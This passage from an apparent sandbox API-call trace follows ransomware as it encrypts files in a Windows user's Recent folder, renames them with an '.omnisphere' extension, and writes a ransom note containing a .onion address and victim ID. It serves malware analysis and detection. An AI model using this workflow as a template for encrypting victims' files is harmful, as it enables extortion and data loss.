pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.198] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.199] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0128.199] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.199] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.199] GetProcessHeap () returned 0x1600000 [0128.199] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x16fd080 [0128.199] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\9cfafb05ce914942.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\9cfafb05ce914942.automaticdestinations-ms.omnisphere")) returned 1 [0128.200] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms.omnisphere.id" [0128.200] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\9cfafb05ce914942.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.201] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.203] CloseHandle (hObject=0x388) returned 1 [0128.203] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.203] CloseHandle (hObject=0x3c0) returned 1 [0128.203] SetEndOfFile (hFile=0x288) returned 1 [0128.203] FlushFileBuffers (hFile=0x288) returned 1 [0128.207] CloseHandle (hObject=0x288) returned 1 [0128.207] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9cfafb05ce914942.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.207] GetProcessHeap () returned 0x1600000 [0128.207] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fd398 [0128.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.208] GetProcessHeap () returned 0x1600000 [0128.208] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1e60 [0128.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1e60, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.208] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.208] GetProcessHeap () returned 0x1600000 [0128.208] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17107c0 [0128.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17107c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.208] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.208] GetProcessHeap () returned 0x1600000 [0128.208] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fafe0 [0128.208] PathCombineW (in: pszDest=0x16fafe0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.208] GetProcessHeap () returned 0x1600000 [0128.208] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170cad0 [0128.208] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.209] WriteFile (in: hFile=0x288, lpBuffer=0x170cad0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170cad0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.209] CloseHandle (hObject=0x288) returned 1 [0128.209] GetProcessHeap () returned 0x1600000 [0128.209] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fd398 | out: hHeap=0x1600000) returned 1 [0128.209] GetProcessHeap () returned 0x1600000 [0128.209] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.209] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.209] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.210] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.210] CloseHandle (hObject=0x288) returned 1 [0128.215] GetProcessHeap () returned 0x1600000 [0128.215] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.215] GetProcessHeap () returned 0x1600000 [0128.215] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.215] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b60346b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x1b60346b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1b60346b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="9d1f905ce5044aee.automaticDestinations-ms", cAlternateFileName="9D1F90~1.AUT")) returned 1 [0128.215] GetProcessHeap () returned 0x1600000 [0128.215] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.215] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="9d1f905ce5044aee.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9d1f905ce5044aee.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9d1f905ce5044aee.automaticDestinations-ms" [0128.215] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.215] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9d1f905ce5044aee.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\9d1f905ce5044aee.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.219] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=3072) returned 1 [0128.219] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x6dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.219] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.220] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc00, lpName=0x0) returned 0x3c0 [0128.221] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.221] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.221] CloseHandle (hObject=0x3c0) returned 1 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.221] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] GetTickCount () returned 0x115ffd8 [0128.222] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1669120) returned 1 [0128.223] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b68) returned 1 [0128.223] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.223] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.223] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0128.223] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc00, lpName=0x0) returned 0x3c0 [0128.223] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc00) returned 0x1480000 [0128.224] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668a38) returned 1 [0128.224] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639528) returned 1 [0128.224] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.224] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.224] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.225] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.226] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 